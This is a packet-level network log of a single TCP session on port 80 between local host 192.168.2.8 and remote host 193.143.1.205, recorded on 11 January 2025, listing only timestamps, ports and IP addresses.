Jan 11, 2025 05:17:38.097887993 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.098608017 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.098618984 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.098628998 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.098639965 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.098649979 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.098653078 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.098660946 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.098670006 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.098674059 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.098690987 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.098692894 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.098705053 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.098715067 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.098726034 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.098731995 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.098737955 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.098757982 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.098773003 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.099525928 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.099536896 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.099546909 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.099558115 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.099569082 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.099580050 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.099580050 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.099591017 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.099603891 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.099618912 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.099659920 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.099670887 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.099682093 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.099692106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.099697113 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.099704981 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.099718094 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.099741936 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.100404024 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.100414038 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.100434065 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.100440979 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.100447893 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.100460052 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.100485086 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.121443987 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.121455908 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.121562004 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.150404930 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.150429964 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.150441885 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.150453091 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.150468111 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.150511980 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.150520086 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.150578976 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.150665998 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.150677919 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.150690079 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.150701046 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.150744915 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.182193041 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.182210922 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.182221889 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.182239056 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.182249069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.182327032 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.184242964 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.184267044 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.184290886 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.184305906 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.184317112 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.184323072 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.184371948 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.184464931 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.184474945 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.184484959 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.184523106 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.184603930 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.184616089 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.184627056 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.184634924 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.184638023 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.184664011 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.203391075 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.203514099 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.215868950 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.215890884 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.215902090 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.215928078 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.215969086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.216022968 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.216028929 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.216074944 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.216074944 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.216097116 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.216109037 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.216119051 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.216142893 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.216295004 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.216337919 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.216346025 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.216351032 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.216387033 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.216391087 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.216403961 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.216413975 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.216432095 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.216773033 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.216784954 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.216797113 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.216814041 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.216814995 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.216828108 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.216833115 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.216844082 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.216856003 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.216877937 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.216900110 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.217302084 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.217314005 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.217324972 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.217346907 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.217422962 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.217437029 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.217447996 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.217458963 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.217475891 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.217734098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.217746019 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.217757940 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.217768908 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.217797995 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.217818975 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.217823982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.217834949 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.217845917 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.217858076 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.217864990 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.217891932 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.217968941 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.217981100 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.217992067 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.218004942 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.218012094 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.218035936 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.218663931 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.218676090 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.218687057 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.218698025 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.218712091 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.218729019 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.218738079 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.218743086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.218781948 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.218898058 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.218909025 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.218919992 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.218930960 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.218940020 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.218941927 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.218955040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.218961000 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.218988895 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.219707012 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.219718933 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.219729900 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.219739914 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.219750881 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.219762087 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.219763041 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.219775915 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.219786882 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.219806910 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.219829082 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.219841003 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.219852924 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.219861031 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.219863892 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.219877005 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.219887972 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.219912052 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.220628977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.220640898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.220653057 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.220670938 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.220683098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.220688105 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.220695019 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.220706940 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.220707893 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.220726013 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.220731020 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.220737934 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.220750093 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.220757961 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.220763922 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.220776081 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.220794916 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.220818043 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.221422911 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.221518993 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.221529007 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.221539974 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.221545935 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.221550941 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.221565962 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.221565962 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.221579075 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.221590996 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.221601009 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.221612930 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.221636057 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.237126112 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.237155914 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.237166882 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.237189054 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.237191916 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.237205029 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.237212896 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.237217903 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.237256050 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.237355947 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.237368107 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.237379074 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.237387896 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.237391949 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.237404108 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.237412930 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.237413883 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.237445116 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.237587929 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.237600088 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.237612009 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.237621069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.237624884 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.237642050 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.269112110 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.269134045 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.269145966 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.269155979 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.269167900 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.269177914 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.269180059 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.269217968 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.269227028 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.269268036 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.271167040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.271192074 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.271202087 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.271228075 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.271274090 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.271285057 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.271296024 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.271306992 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.271307945 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.271338940 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.302874088 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.302890062 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.302900076 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.302910089 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.302918911 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.302927971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.303011894 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.303059101 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.303062916 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.303073883 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.303097963 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.303103924 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.303137064 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.303137064 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.303148985 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.303183079 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.303292990 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.303425074 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.303435087 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.303457022 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.304887056 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.304898977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.304908037 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.304919004 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.304928064 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.304939032 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.304980040 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.516361952 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.521327019 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.521342993 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.521354914 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.521447897 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.526173115 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.531006098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.531040907 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.531053066 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.531105042 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.531152964 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.531160116 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.531167030 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.531178951 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.531189919 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.531219959 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.531238079 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.531263113 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.531275034 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.531286955 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.531300068 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.531307936 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.531318903 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.531339884 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.531398058 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.531409025 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.531425953 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.531428099 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.531440973 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.531452894 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.531457901 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.531465054 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.531476021 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.531481981 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.531483889 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.531488895 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.531500101 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.531512976 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.531538963 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.531583071 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.531599998 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.531610966 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.531615973 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.531622887 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.531634092 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.531641006 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.531645060 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.531656981 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.531666994 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.531686068 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.531708002 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.531718969 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.531728983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.531738997 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.531748056 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.531764984 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.531842947 CET	80	49705	193.143.1.205	192.168.2.8
